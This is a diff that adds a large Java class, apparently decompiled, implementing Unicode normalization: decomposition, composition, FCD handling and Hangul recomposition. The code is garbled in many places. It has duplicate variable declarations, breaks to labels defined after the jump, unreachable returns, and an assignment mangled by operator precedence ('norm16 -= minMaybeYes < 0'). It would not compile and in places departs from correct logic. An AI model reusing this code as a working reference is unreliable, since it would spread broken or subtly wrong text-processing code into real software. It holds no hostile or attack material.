+              newData.set(c, newValue);
+          }
+        }
+      }
+      canonIterData = newData.toTrie2_32();
+    }
+    return this;
+  }
+  
+  public int getNorm16(int c) { return normTrie.get(c); }
+  
+  public int getCompQuickCheck(int norm16) {
+    if ((norm16 < minNoNo) || (65281 <= norm16))
+      return 1;
+    if (minMaybeYes <= norm16) {
+      return 2;
+    }
+    return 0;
+  }
+  
+  public boolean isCompNo(int norm16) { return (minNoNo <= norm16) && (norm16 < minMaybeYes); }
+  public boolean isDecompYes(int norm16) { return (norm16 < minYesNo) || (minMaybeYes <= norm16); }
+  
+  public int getCC(int norm16) {
+    if (norm16 >= 65024) {
+      return norm16 & 0xFF;
+    }
+    if ((norm16 < minNoNo) || (limitNoNo <= norm16)) {
+      return 0;
+    }
+    return getCCFromNoNo(norm16);
+  }
+  
+  public static int getCCFromYesOrMaybe(int norm16) { return norm16 >= 65024 ? norm16 & 0xFF : 0; }
+  
+
+
+
+
+
+  public int getFCD16(int c)
+  {
+    if (c < 0)
+      return 0;
+    if (c < 384)
+      return tccc180[c];
+    if ((c <= 65535) && 
+      (!singleLeadMightHaveNonZeroFCD16(c))) { return 0;
+    }
+    return getFCD16FromNormData(c);
+  }
+  
+  public int getFCD16FromBelow180(int c) { return tccc180[c]; }
+  
+  public boolean singleLeadMightHaveNonZeroFCD16(int lead)
+  {
+    byte bits = smallFCD[(lead >> 8)];
+    if (bits == 0) return false;
+    return (bits >> (lead >> 5 & 0x7) & 0x1) != 0;
+  }
+  
+  public int getFCD16FromNormData(int c)
+  {
+    for (;;)
+    {
+      int norm16 = getNorm16(c);
+      if (norm16 <= minYesNo)
+      {
+        return 0; }
+      if (norm16 >= 65024)
+      {
+        norm16 &= 0xFF;
+        return norm16 | norm16 << 8; }
+      if (norm16 >= minMaybeYes)
+        return 0;
+      if (isDecompNoAlgorithmic(norm16)) {
+        c = mapAlgorithmic(c, norm16);
+      }
+      else {
+        int firstUnit = extraData.charAt(norm16);
+        if ((firstUnit & 0x1F) == 0)
+        {
+
+
+          return 511;
+        }
+        int fcd16 = firstUnit >> 8;
+        if ((firstUnit & 0x80) != 0) {
+          fcd16 |= extraData.charAt(norm16 - 1) & 0xFF00;
+        }
+        return fcd16;
+      }
+    }
+  }
+  
+
+
+
+
+
+  public String getDecomposition(int c)
+  {
+    int decomp = -1;
+    
+    int norm16;
+    while ((c >= minDecompNoCP) && (!isDecompYes(norm16 = getNorm16(c))))
+    {
+      if (isHangul(norm16))
+      {
+        StringBuilder buffer = new StringBuilder();
+        Hangul.decompose(c, buffer);
+        return buffer.toString(); }
+      if (isDecompNoAlgorithmic(norm16)) {
+        decomp = c = mapAlgorithmic(c, norm16);
+      }
+      else
+      {
+        int length = extraData.charAt(norm16++) & 0x1F;
+        return extraData.substring(norm16, norm16 + length);
+      } }
+    if (decomp < 0) {
+      return null;
+    }
+    return UTF16.valueOf(decomp);
+  }
+  
+
+
+
+
+  public String getRawDecomposition(int c)
+  {
+    int norm16;
+    
+
+
+
+    if ((c < minDecompNoCP) || (isDecompYes(norm16 = getNorm16(c))))
+    {
+      return null; }
+    int norm16; if (isHangul(norm16))
+    {
+      StringBuilder buffer = new StringBuilder();
+      Hangul.getRawDecomposition(c, buffer);
+      return buffer.toString(); }
+    if (isDecompNoAlgorithmic(norm16)) {
+      return UTF16.valueOf(mapAlgorithmic(c, norm16));
+    }
+    
+    int firstUnit = extraData.charAt(norm16);
+    int mLength = firstUnit & 0x1F;
+    if ((firstUnit & 0x40) != 0)
+    {
+
+      int rawMapping = norm16 - (firstUnit >> 7 & 0x1) - 1;
+      char rm0 = extraData.charAt(rawMapping);
+      if (rm0 <= '\037') {
+        return extraData.substring(rawMapping - rm0, rawMapping);
+      }
+      
+      StringBuilder buffer = new StringBuilder(mLength - 1).append(rm0);
+      norm16 += 3;
+      return buffer.append(extraData, norm16, norm16 + mLength - 2).toString();
+    }
+    
+    norm16++;
+    return extraData.substring(norm16, norm16 + mLength);
+  }
+  
+  public static final int IX_LIMIT_NO_NO = 12;
+  public static final int IX_MIN_MAYBE_YES = 13;
+  public static final int IX_MIN_YES_NO_MAPPINGS_ONLY = 14;
+  public static final int IX_COUNT = 16;
+  public static final int MAPPING_HAS_CCC_LCCC_WORD = 128;
+  public static final int MAPPING_HAS_RAW_MAPPING = 64;
+  public static final int MAPPING_NO_COMP_BOUNDARY_AFTER = 32;
+  public static final int MAPPING_LENGTH_MASK = 31;
+  public static final int COMP_1_LAST_TUPLE = 32768;
+  public boolean isCanonSegmentStarter(int c) {
+    return canonIterData.get(c) >= 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean getCanonStartSet(int c, UnicodeSet set)
+  {
+    int canonValue = canonIterData.get(c) & 0x7FFFFFFF;
+    if (canonValue == 0) {
+      return false;
+    }
+    set.clear();
+    int value = canonValue & 0x1FFFFF;
+    if ((canonValue & 0x200000) != 0) {
+      set.addAll((UnicodeSet)canonStartSets.get(value));
+    } else if (value != 0) {
+      set.add(value);
+    }
+    if ((canonValue & 0x40000000) != 0) {
+      int norm16 = getNorm16(c);
+      if (norm16 == 1) {
+        int syllable = 44032 + (c - 4352) * 588;
+        set.add(syllable, syllable + 588 - 1);
+      } else {
+        addComposites(getCompositionsList(norm16), set);
+      }
+    }
+    return true;
+  }
+  
+
+  public static final int COMP_1_TRIPLE = 1;
+  
+  public static final int COMP_1_TRAIL_LIMIT = 13312;
+  
+  public static final int COMP_1_TRAIL_MASK = 32766;
+  
+  public static final int COMP_1_TRAIL_SHIFT = 9;
+  
+  public static final int COMP_2_TRAIL_SHIFT = 6;
+  
+  public static final int COMP_2_TRAIL_MASK = 65472;
+  
+  private VersionInfo dataVersion;
+  
+  private int minDecompNoCP;
+  
+  private int minCompNoMaybeCP;
+  
+  private int minYesNo;
+  
+  private int minYesNoMappingsOnly;
+  
+  private int minNoNo;
+  
+  private int limitNoNo;
+  
+  private int minMaybeYes;
+  
+  private Trie2_16 normTrie;
+  
+  private String maybeYesCompositions;
+  
+  private String extraData;
+  
+  private byte[] smallFCD;
+  
+  private int[] tccc180;
+  
+  private Trie2_32 canonIterData;
+  
+  private ArrayList<UnicodeSet> canonStartSets;
+  
+  private static final int CANON_NOT_SEGMENT_STARTER = Integer.MIN_VALUE;
+  
+  private static final int CANON_HAS_COMPOSITIONS = 1073741824;
+  
+  private static final int CANON_HAS_SET = 2097152;
+  private static final int CANON_VALUE_MASK = 2097151;
+  public int decompose(CharSequence s, int src, int limit, ReorderingBuffer buffer)
+  {
+    int minNoCP = minDecompNoCP;
+    
+
+    int c = 0;
+    int norm16 = 0;
+    
+
+    int prevBoundary = src;
+    int prevCC = 0;
+    
+    for (;;)
+    {
+      for (int prevSrc = src; src != limit;) {
+        if (((c = s.charAt(src)) < minNoCP) || (isMostDecompYesAndZeroCC(norm16 = normTrie.getFromU16SingleLead((char)c))))
+        {
+
+          src++;
+        } else { if (!UTF16.isSurrogate((char)c)) {
+            break;
+          }
+          
+          if (UTF16Plus.isSurrogateLead(c)) { char c2;
+            if ((src + 1 != limit) && (Character.isLowSurrogate(c2 = s.charAt(src + 1))))
+              c = Character.toCodePoint((char)c, c2);
+          } else {
+            char c2;
+            if ((prevSrc < src) && (Character.isHighSurrogate(c2 = s.charAt(src - 1)))) {
+              src--;
+              c = Character.toCodePoint(c2, (char)c);
+            }
+          }
+          if (!isMostDecompYesAndZeroCC(norm16 = getNorm16(c))) break;
+          src += Character.charCount(c);
+        }
+      }
+      
+
+
+
+      if (src != prevSrc) {
+        if (buffer != null) {
+          buffer.flushAndAppendZeroCC(s, prevSrc, src);
+        } else {
+          prevCC = 0;
+          prevBoundary = src;
+        }
+      }
+      if (src == limit) {
+        return src;
+      }
+      
+
+      src += Character.charCount(c);
+      if (buffer != null) {
+        decompose(c, norm16, buffer);
+      } else {
+        if (!isDecompYes(norm16)) break;
+        int cc = getCCFromYesOrMaybe(norm16);
+        if ((prevCC > cc) && (cc != 0)) break;
+        prevCC = cc;
+        if (cc <= 1) {
+          prevBoundary = src;
+        }
+      }
+    }
+    
+    return prevBoundary;
+    
+
+    return src;
+  }
+  
+  public void decomposeAndAppend(CharSequence s, boolean doDecompose, ReorderingBuffer buffer) { int limit = s.length();
+    if (limit == 0) {
+      return;
+    }
+    if (doDecompose) {
+      decompose(s, 0, limit, buffer);
+      return;
+    }
+    
+    int c = Character.codePointAt(s, 0);
+    int src = 0;
+    int cc;
+    int prevCC; int firstCC = prevCC = cc = getCC(getNorm16(c));
+    while (cc != 0) {
+      prevCC = cc;
+      src += Character.charCount(c);
+      if (src >= limit) {
+        break;
+      }
+      c = Character.codePointAt(s, src);
+      cc = getCC(getNorm16(c));
+    }
+    buffer.append(s, 0, src, firstCC, prevCC);
+    buffer.append(s, src, limit);
+  }
+  
+
+
+
+
+  public boolean compose(CharSequence s, int src, int limit, boolean onlyContiguous, boolean doCompose, ReorderingBuffer buffer)
+  {
+    int minNoMaybeCP = minCompNoMaybeCP;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    int prevBoundary = src;
+    
+    int c = 0;
+    int norm16 = 0;
+    
+
+    int prevCC = 0;
+    
+    for (;;)
+    {
+      for (int prevSrc = src; src != limit;) {
+        if (((c = s.charAt(src)) < minNoMaybeCP) || (isCompYesAndZeroCC(norm16 = normTrie.getFromU16SingleLead((char)c))))
+        {
+
+          src++;
+        } else { if (!UTF16.isSurrogate((char)c)) {
+            break;
+          }
+          
+          if (UTF16Plus.isSurrogateLead(c)) { char c2;
+            if ((src + 1 != limit) && (Character.isLowSurrogate(c2 = s.charAt(src + 1))))
+              c = Character.toCodePoint((char)c, c2);
+          } else {
+            char c2;
+            if ((prevSrc < src) && (Character.isHighSurrogate(c2 = s.charAt(src - 1)))) {
+              src--;
+              c = Character.toCodePoint(c2, (char)c);
+            }
+          }
+          if (!isCompYesAndZeroCC(norm16 = getNorm16(c))) break;
+          src += Character.charCount(c);
+        }
+      }
+      
+
+
+
+      if (src != prevSrc) {
+        if (src == limit) {
+          if (!doCompose) break;
+          buffer.flushAndAppendZeroCC(s, prevSrc, src); break;
+        }
+        
+
+
+        prevBoundary = src - 1;
+        if ((Character.isLowSurrogate(s.charAt(prevBoundary))) && (prevSrc < prevBoundary) && (Character.isHighSurrogate(s.charAt(prevBoundary - 1))))
+        {
+
+          prevBoundary--;
+        }
+        if (doCompose)
+        {
+
+          buffer.flushAndAppendZeroCC(s, prevSrc, prevBoundary);
+          buffer.append(s, prevBoundary, src);
+        } else {
+          prevCC = 0;
+        }
+        
+        prevSrc = src;
+      } else { if (src == limit) {
+          break;
+        }
+      }
+      src += Character.charCount(c);
+      
+
+
+
+
+
+
+      if ((isJamoVT(norm16)) && (prevBoundary != prevSrc)) {
+        char prev = s.charAt(prevSrc - 1);
+        boolean needToDecompose = false;
+        if (c < 4519)
+        {
+          prev = (char)(prev - 'ᄀ');
+          if (prev < '\023') {
+            if (!doCompose) {
+              return false;
+            }
+            char syllable = (char)(44032 + (prev * '\025' + (c - 4449)) * 28);
+            
+
+            char t;
+            
+            if ((src != limit) && ((t = (char)(s.charAt(src) - 'ᆧ')) < '\034')) {
+              src++;
+              syllable = (char)(syllable + t);
+              prevBoundary = src;
+              buffer.setLastChar(syllable);
+              continue;
+            }
+            
+
+
+
+
+
+
+
+
+            needToDecompose = true;
+          }
+        } else if (Hangul.isHangulWithoutJamoT(prev))
+        {
+
+          if (!doCompose) {
+            return false;
+          }
+          buffer.setLastChar((char)(prev + c - 4519));
+          prevBoundary = src;
+          continue;
+        }
+        if (!needToDecompose)
+        {
+          if (doCompose) {
+            buffer.append((char)c); continue;
+          }
+          prevCC = 0;
+          
+          continue;
+        }
+      }
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      if (norm16 >= 65281) {
+        int cc = norm16 & 0xFF;
+        if (onlyContiguous) if ((doCompose ? buffer.getLastCC() : prevCC) == 0) if ((prevBoundary < prevSrc) && (getTrailCCFromCompYesAndZeroCC(s, prevBoundary, prevSrc) > cc))
+            {
+
+
+
+
+
+
+
+
+
+
+
+              if (doCompose) break label617;
+              return false;
+            }
+        if (doCompose) {
+          buffer.append(c, cc);
+          continue; }
+        if (prevCC <= cc) {
+          prevCC = cc;
+          continue;
+        }
+        return false;
+      } else { label617:
+        if ((!doCompose) && (!isMaybeOrNonZeroCC(norm16))) {
+          return false;
+        }
+      }
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      if (hasCompBoundaryBefore(c, norm16)) {
+        prevBoundary = prevSrc;
+      } else if (doCompose) {
+        buffer.removeSuffix(prevSrc - prevBoundary);
+      }
+      
+
+
+      src = findNextCompBoundary(s, src, limit);
+      
+
+      int recomposeStartIndex = buffer.length();
+      decomposeShort(s, prevBoundary, src, buffer);
+      recompose(buffer, recomposeStartIndex, onlyContiguous);
+      if (!doCompose) {
+        if (!buffer.equals(s, prevBoundary, src)) {
+          return false;
+        }
+        buffer.remove();
+        prevCC = 0;
+      }
+      
+
+      prevBoundary = src;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public int composeQuickCheck(CharSequence s, int src, int limit, boolean onlyContiguous, boolean doSpan)
+  {
+    int qcResult = 0;
+    int minNoMaybeCP = minCompNoMaybeCP;
+    
+
+
+
+
+    int prevBoundary = src;
+    
+    int c = 0;
+    int norm16 = 0;
+    int prevCC = 0;
+    
+    for (;;)
+    {
+      int prevSrc = src;
+      for (;;) { if (src == limit) {
+          return src << 1 | qcResult;
+        }
+        if (((c = s.charAt(src)) < minNoMaybeCP) || (isCompYesAndZeroCC(norm16 = normTrie.getFromU16SingleLead((char)c))))
+        {
+
+          src++;
+        } else { if (!UTF16.isSurrogate((char)c)) {
+            break;
+          }
+          
+          if (UTF16Plus.isSurrogateLead(c)) { char c2;
+            if ((src + 1 != limit) && (Character.isLowSurrogate(c2 = s.charAt(src + 1))))
+              c = Character.toCodePoint((char)c, c2);
+          } else {
+            char c2;
+            if ((prevSrc < src) && (Character.isHighSurrogate(c2 = s.charAt(src - 1)))) {
+              src--;
+              c = Character.toCodePoint(c2, (char)c);
+            }
+          }
+          if (!isCompYesAndZeroCC(norm16 = getNorm16(c))) break;
+          src += Character.charCount(c);
+        }
+      }
+      
+
+
+      if (src != prevSrc)
+      {
+        prevBoundary = src - 1;
+        if ((Character.isLowSurrogate(s.charAt(prevBoundary))) && (prevSrc < prevBoundary) && (Character.isHighSurrogate(s.charAt(prevBoundary - 1))))
+        {
+
+          prevBoundary--;
+        }
+        prevCC = 0;
+        
+        prevSrc = src;
+      }
+      
+      src += Character.charCount(c);
+      
+
+
+
+
+      if (!isMaybeOrNonZeroCC(norm16)) break label358;
+      int cc = getCCFromYesOrMaybe(norm16);
+      if ((onlyContiguous) && (cc != 0) && (prevCC == 0) && (prevBoundary < prevSrc) && (getTrailCCFromCompYesAndZeroCC(s, prevBoundary, prevSrc) > cc)) {
+        break label358;
+      }
+      
+
+
+
+
+
+
+
+
+
+
+      if ((prevCC > cc) && (cc != 0)) break label358;
+      prevCC = cc;
+      if (norm16 < 65281) {
+        if (doSpan) break;
+        qcResult = 1;
+      } }
+    return prevBoundary << 1;
+    
+
+    label358:
+    
+
+    return prevBoundary << 1;
+  }
+  
+
+
+  public void composeAndAppend(CharSequence s, boolean doCompose, boolean onlyContiguous, ReorderingBuffer buffer)
+  {
+    int src = 0;int limit = s.length();
+    if (!buffer.isEmpty()) {
+      int firstStarterInSrc = findNextCompBoundary(s, 0, limit);
+      if (0 != firstStarterInSrc) {
+        int lastStarterInDest = findPreviousCompBoundary(buffer.getStringBuilder(), buffer.length());
+        
+        StringBuilder middle = new StringBuilder(buffer.length() - lastStarterInDest + firstStarterInSrc + 16);
+        
+        middle.append(buffer.getStringBuilder(), lastStarterInDest, buffer.length());
+        buffer.removeSuffix(buffer.length() - lastStarterInDest);
+        middle.append(s, 0, firstStarterInSrc);
+        compose(middle, 0, middle.length(), onlyContiguous, true, buffer);
+        src = firstStarterInSrc;
+      }
+    }
+    if (doCompose) {
+      compose(s, src, limit, onlyContiguous, true, buffer);
+    } else {
+      buffer.append(s, src, limit);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int makeFCD(CharSequence s, int src, int limit, ReorderingBuffer buffer)
+  {
+    int prevBoundary = src;
+    
+    int c = 0;
+    int prevFCD16 = 0;
+    int fcd16 = 0;
+    
+    for (;;)
+    {
+      for (int prevSrc = src; src != limit;) {
+        if ((c = s.charAt(src)) < '̀') {
+          prevFCD16 = c ^ 0xFFFFFFFF;
+          src++;
+        } else if (!singleLeadMightHaveNonZeroFCD16(c)) {
+          prevFCD16 = 0;
+          src++;
+        } else {
+          if (UTF16.isSurrogate((char)c))
+          {
+            if (UTF16Plus.isSurrogateLead(c)) { char c2;
+              if ((src + 1 != limit) && (Character.isLowSurrogate(c2 = s.charAt(src + 1))))
+                c = Character.toCodePoint((char)c, c2);
+            } else {
+              char c2;
+              if ((prevSrc < src) && (Character.isHighSurrogate(c2 = s.charAt(src - 1)))) {
+                src--;
+                c = Character.toCodePoint(c2, (char)c);
+              }
+            }
+          }
+          if ((fcd16 = getFCD16FromNormData(c)) > 255) break;
+          prevFCD16 = fcd16;
+          src += Character.charCount(c);
+        }
+      }
+      
+
+
+
+      if (src != prevSrc) {
+        if (src == limit) {
+          if (buffer == null) break;
+          buffer.flushAndAppendZeroCC(s, prevSrc, src); break;
+        }
+        
+
+        prevBoundary = src;
+        
+        if (prevFCD16 < 0)
+        {
+          int prev = prevFCD16 ^ 0xFFFFFFFF;
+          prevFCD16 = prev < 384 ? tccc180[prev] : getFCD16FromNormData(prev);
+          if (prevFCD16 > 1) {
+            prevBoundary--;
+          }
+        } else {
+          int p = src - 1;
+          if ((Character.isLowSurrogate(s.charAt(p))) && (prevSrc < p) && (Character.isHighSurrogate(s.charAt(p - 1))))
+          {
+
+            p--;
+            
+
+            prevFCD16 = getFCD16FromNormData(Character.toCodePoint(s.charAt(p), s.charAt(p + 1)));
+          }
+          
+          if (prevFCD16 > 1) {
+            prevBoundary = p;
+          }
+        }
+        if (buffer != null)
+        {
+
+          buffer.flushAndAppendZeroCC(s, prevSrc, prevBoundary);
+          buffer.append(s, prevBoundary, src);
+        }
+        
+        prevSrc = src;
+      } else { if (src == limit) {
+          break;
+        }
+      }
+      src += Character.charCount(c);
+      
+
+      if ((prevFCD16 & 0xFF) <= fcd16 >> 8)
+      {
+        if ((fcd16 & 0xFF) <= 1) {
+          prevBoundary = src;
+        }
+        if (buffer != null) {
+          buffer.appendZeroCC(c);
+        }
+        prevFCD16 = fcd16;
+      } else {
+        if (buffer == null) {
+          return prevBoundary;
+        }
+        
+
+
+
+
+        buffer.removeSuffix(prevSrc - prevBoundary);
+        
+
+
+
+        src = findNextFCDBoundary(s, src, limit);
+        
+
+
+
+        decomposeShort(s, prevBoundary, src, buffer);
+        prevBoundary = src;
+        prevFCD16 = 0;
+      }
+    }
+    return src;
+  }
+  
+  public void makeFCDAndAppend(CharSequence s, boolean doMakeFCD, ReorderingBuffer buffer) { int src = 0;int limit = s.length();
+    if (!buffer.isEmpty()) {
+      int firstBoundaryInSrc = findNextFCDBoundary(s, 0, limit);
+      if (0 != firstBoundaryInSrc) {
+        int lastBoundaryInDest = findPreviousFCDBoundary(buffer.getStringBuilder(), buffer.length());
+        
+        StringBuilder middle = new StringBuilder(buffer.length() - lastBoundaryInDest + firstBoundaryInSrc + 16);
+        
+        middle.append(buffer.getStringBuilder(), lastBoundaryInDest, buffer.length());
+        buffer.removeSuffix(buffer.length() - lastBoundaryInDest);
+        middle.append(s, 0, firstBoundaryInSrc);
+        makeFCD(middle, 0, middle.length(), buffer);
+        src = firstBoundaryInSrc;
+      }
+    }
+    if (doMakeFCD) {
+      makeFCD(s, src, limit, buffer);
+    } else {
+      buffer.append(s, src, limit);
+    }
+  }
+  
+
+  public boolean hasDecompBoundary(int c, boolean before)
+  {
+    for (;;)
+    {
+      if (c < minDecompNoCP) {
+        return true;
+      }
+      int norm16 = getNorm16(c);
+      if ((isHangul(norm16)) || (isDecompYesAndZeroCC(norm16)))
+        return true;
+      if (norm16 > 65024)
+        return false;
+      if (isDecompNoAlgorithmic(norm16)) {
+        c = mapAlgorithmic(c, norm16);
+      }
+      else {
+        int firstUnit = extraData.charAt(norm16);
+        if ((firstUnit & 0x1F) == 0) {
+          return false;
+        }
+        if (!before)
+        {
+
+          if (firstUnit > 511) {
+            return false;
+          }
+          if (firstUnit <= 255) {
+            return true;
+          }
+        }
+        
+
+        return ((firstUnit & 0x80) == 0) || ((extraData.charAt(norm16 - 1) & 0xFF00) == 0);
+      }
+    } }
+  
+  public boolean isDecompInert(int c) { return isDecompYesAndZeroCC(getNorm16(c)); }
+  
+
+  public boolean hasCompBoundaryBefore(int c) { return (c < minCompNoMaybeCP) || (hasCompBoundaryBefore(c, getNorm16(c))); }
+  
+  public boolean hasCompBoundaryAfter(int c, boolean onlyContiguous, boolean testInert) {
+    for (;;) {
+      int norm16 = getNorm16(c);
+      if (isInert(norm16))
+        return true;
+      if (norm16 <= minYesNo)
+      {
+
+
+        return (isHangul(norm16)) && (!Hangul.isHangulWithoutJamoT((char)c)); }
+      if (norm16 >= (testInert ? minNoNo : minMaybeYes))
+        return false;
+      if (isDecompNoAlgorithmic(norm16)) {
+        c = mapAlgorithmic(c, norm16);
+
+      }
+      else
+      {
+        int firstUnit = extraData.charAt(norm16);
+        
+
+
+
+
+
+        return ((firstUnit & 0x20) == 0) && ((!onlyContiguous) || (firstUnit <= 511));
+      }
+    }
+  }
+  
+
+
+  public boolean hasFCDBoundaryBefore(int c) { return (c < 768) || (getFCD16(c) <= 255); }
+  
+  public boolean hasFCDBoundaryAfter(int c) { int fcd16 = getFCD16(c);
+    return (fcd16 <= 1) || ((fcd16 & 0xFF) == 0); }
+  
+  public boolean isFCDInert(int c) { return getFCD16(c) <= 1; }
+  
+  private boolean isMaybe(int norm16) { return (minMaybeYes <= norm16) && (norm16 <= 65280); }
+  private boolean isMaybeOrNonZeroCC(int norm16) { return norm16 >= minMaybeYes; }
+  private static boolean isInert(int norm16) { return norm16 == 0; }
+  private static boolean isJamoL(int norm16) { return norm16 == 1; }
+  private static boolean isJamoVT(int norm16) { return norm16 == 65280; }
+  private boolean isHangul(int norm16) { return norm16 == minYesNo; }
+  private boolean isCompYesAndZeroCC(int norm16) { return norm16 < minNoNo; }
+  
+
+
+
+
+
+
+
+  private boolean isDecompYesAndZeroCC(int norm16)
+  {
+    return (norm16 < minYesNo) || (norm16 == 65280) || ((minMaybeYes <= norm16) && (norm16 <= 65024));
+  }
+  
+
+
+
+
+
+
+
+  private boolean isMostDecompYesAndZeroCC(int norm16) { return (norm16 < minYesNo) || (norm16 == 65024) || (norm16 == 65280); }
+  
+  private boolean isDecompNoAlgorithmic(int norm16) { return norm16 >= limitNoNo; }
+  
+
+
+
+
+  private int getCCFromNoNo(int norm16)
+  {
+    if ((extraData.charAt(norm16) & 0x80) != 0) {
+      return extraData.charAt(norm16 - 1) & 0xFF;
+    }
+    return 0;
+  }
+  
+  int getTrailCCFromCompYesAndZeroCC(CharSequence s, int cpStart, int cpLimit) {
+    int c;
+    int c;
+    if (cpStart == cpLimit - 1) {
+      c = s.charAt(cpStart);
+    } else {
+      c = Character.codePointAt(s, cpStart);
+    }
+    int prevNorm16 = getNorm16(c);
+    if (prevNorm16 <= minYesNo) {
+      return 0;
+    }
+    return extraData.charAt(prevNorm16) >> '\b';
+  }
+  
+
+  private int mapAlgorithmic(int c, int norm16)
+  {
+    return c + norm16 - (minMaybeYes - 64 - 1);
+  }
+  
+
+
+
+
+
+  private int getCompositionsListForDecompYes(int norm16)
+  {
+    if ((norm16 == 0) || (65024 <= norm16)) {
+      return -1;
+    }
+    if (norm16 -= minMaybeYes < 0)
+    {
+
+
+      norm16 += 65024;
+    }
+    return norm16;
+  }
+  
+
+
+
+  private int getCompositionsListForComposite(int norm16)
+  {
+    int firstUnit = extraData.charAt(norm16);
+    return 65024 - minMaybeYes + norm16 + 1 + (firstUnit & 0x1F);
+  }
+  
+
+
+
+
+  private int getCompositionsList(int norm16)
+  {
+    return isDecompYes(norm16) ? getCompositionsListForDecompYes(norm16) : getCompositionsListForComposite(norm16);
+  }
+  
+
+
+
+
+
+
+
+  public void decomposeShort(CharSequence s, int src, int limit, ReorderingBuffer buffer)
+  {
+    while (src < limit) {
+      int c = Character.codePointAt(s, src);
+      src += Character.charCount(c);
+      decompose(c, getNorm16(c), buffer);
+    }
+  }
+  
+  private void decompose(int c, int norm16, ReorderingBuffer buffer)
+  {
+    for (;;)
+    {
+      if (isDecompYes(norm16))
+      {
+        buffer.append(c, getCCFromYesOrMaybe(norm16)); return; }
+      if (isHangul(norm16))
+      {
+        Hangul.decompose(c, buffer); return; }
+      if (!isDecompNoAlgorithmic(norm16)) break;
+      c = mapAlgorithmic(c, norm16);
+      norm16 = getNorm16(c);
+    }
+    
+
+    int firstUnit = extraData.charAt(norm16);
+    int length = firstUnit & 0x1F;
+    
+    int trailCC = firstUnit >> 8;
+    int leadCC; int leadCC; if ((firstUnit & 0x80) != 0) {
+      leadCC = extraData.charAt(norm16 - 1) >> '\b';
+    } else {
+      leadCC = 0;
+    }
+    norm16++;
+    buffer.append(extraData, norm16, norm16 + length, leadCC, trailCC);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static int combine(String compositions, int list, int trail)
+  {
+    if (trail < 13312)
+    {
+
+      int key1 = trail << 1;
+      int firstUnit; while (key1 > (firstUnit = compositions.charAt(list))) {
+        list += 2 + (firstUnit & 0x1);
+      }
+      if (key1 == (firstUnit & 0x7FFE)) {
+        if ((firstUnit & 0x1) != 0) {
+          return compositions.charAt(list + 1) << '\020' | compositions.charAt(list + 2);
+        }
+        return compositions.charAt(list + 1);
+      }
+      
+    }
+    else
+    {
+      int key1 = 13312 + (trail >> 9 & 0xFFFFFFFE);
+      int key2 = trail << 6 & 0xFFFF;
+      int secondUnit;
+      for (;;) { int firstUnit;
+        if (key1 > (firstUnit = compositions.charAt(list))) {
+          list += 2 + (firstUnit & 0x1);
+        } else { if (key1 != (firstUnit & 0x7FFE)) break label193;
+          if (key2 <= (secondUnit = compositions.charAt(list + 1))) break;
+          if ((firstUnit & 0x8000) != 0) {
+            break label193;
+          }
+          list += 3;
+        } }
+      if (key2 == (secondUnit & 0xFFC0)) {
+        return (secondUnit & 0xFFFF003F) << 16 | compositions.charAt(list + 2);
+      }
+    }
+    
+
+
+    label193:
+    
+
+    return -1;
+  }
+  
+
+  private void addComposites(int list, UnicodeSet set)
+  {
+    int firstUnit;
+    do
+    {
+      firstUnit = maybeYesCompositions.charAt(list);
+      int compositeAndFwd; if ((firstUnit & 0x1) == 0) {
+        int compositeAndFwd = maybeYesCompositions.charAt(list + 1);
+        list += 2;
+      } else {
+        compositeAndFwd = (maybeYesCompositions.charAt(list + 1) & 0xFFFF003F) << '\020' | maybeYesCompositions.charAt(list + 2);
+        
+        list += 3;
+      }
+      int composite = compositeAndFwd >> 1;
+      if ((compositeAndFwd & 0x1) != 0) {
+        addComposites(getCompositionsListForComposite(getNorm16(composite)), set);
+      }
+      set.add(composite);
+    } while ((firstUnit & 0x8000) == 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+  private void recompose(ReorderingBuffer buffer, int recomposeStartIndex, boolean onlyContiguous)
+  {
+    StringBuilder sb = buffer.getStringBuilder();
+    int p = recomposeStartIndex;
+    if (p == sb.length()) {
+      return;
+    }
+    
+
+
+
+
+
+
+
+
+
+    int compositionsList = -1;
+    int starter = -1;
+    boolean starterIsSupplementary = false;
+    int prevCC = 0;
+    for (;;)
+    {
+      int c = sb.codePointAt(p);
+      p += Character.charCount(c);
+      int norm16 = getNorm16(c);
+      int cc = getCCFromYesOrMaybe(norm16);
+      if ((isMaybe(norm16)) && (compositionsList >= 0) && ((prevCC < cc) || (prevCC == 0)))
+      {
+
+
+
+
+
+        if (isJamoVT(norm16))
+        {
+          if (c < 4519)
+          {
+            char prev = (char)(sb.charAt(starter) - 'ᄀ');
+            if (prev < '\023') {
+              int pRemove = p - 1;
+              char syllable = (char)(44032 + (prev * '\025' + (c - 4449)) * 28);
+              
+
+              char t;
+              
+              if ((p != sb.length()) && ((t = (char)(sb.charAt(p) - 'ᆧ')) < '\034')) {
+                p++;
+                syllable = (char)(syllable + t);
+              }
+              sb.setCharAt(starter, syllable);
+              
+              sb.delete(pRemove, p);
+              p = pRemove;
+            }
+          }
+          
+
+
+
+
+
+          if (p == sb.length()) {
+            break;
+          }
+          compositionsList = -1;
+          continue; }
+        int compositeAndFwd; if ((compositeAndFwd = combine(maybeYesCompositions, compositionsList, c)) >= 0)
+        {
+          int composite = compositeAndFwd >> 1;
+          
+
+          int pRemove = p - Character.charCount(c);
+          sb.delete(pRemove, p);
+          p = pRemove;
+          
+          if (starterIsSupplementary) {
+            if (composite > 65535)
+            {
+              sb.setCharAt(starter, UTF16.getLeadSurrogate(composite));
+              sb.setCharAt(starter + 1, UTF16.getTrailSurrogate(composite));
+            } else {
+              sb.setCharAt(starter, (char)c);
+              sb.deleteCharAt(starter + 1);
+              
+
+              starterIsSupplementary = false;
+              p--;
+            }
+          } else if (composite > 65535)
+          {
+
+            starterIsSupplementary = true;
+            sb.setCharAt(starter, UTF16.getLeadSurrogate(composite));
+            sb.insert(starter + 1, UTF16.getTrailSurrogate(composite));
+            p++;
+          }
+          else {
+            sb.setCharAt(starter, (char)composite);
+          }
+          
+
+
+          if (p == sb.length()) {
+            break;
+          }
+          
+          if ((compositeAndFwd & 0x1) != 0) {
+            compositionsList = getCompositionsListForComposite(getNorm16(composite)); continue;
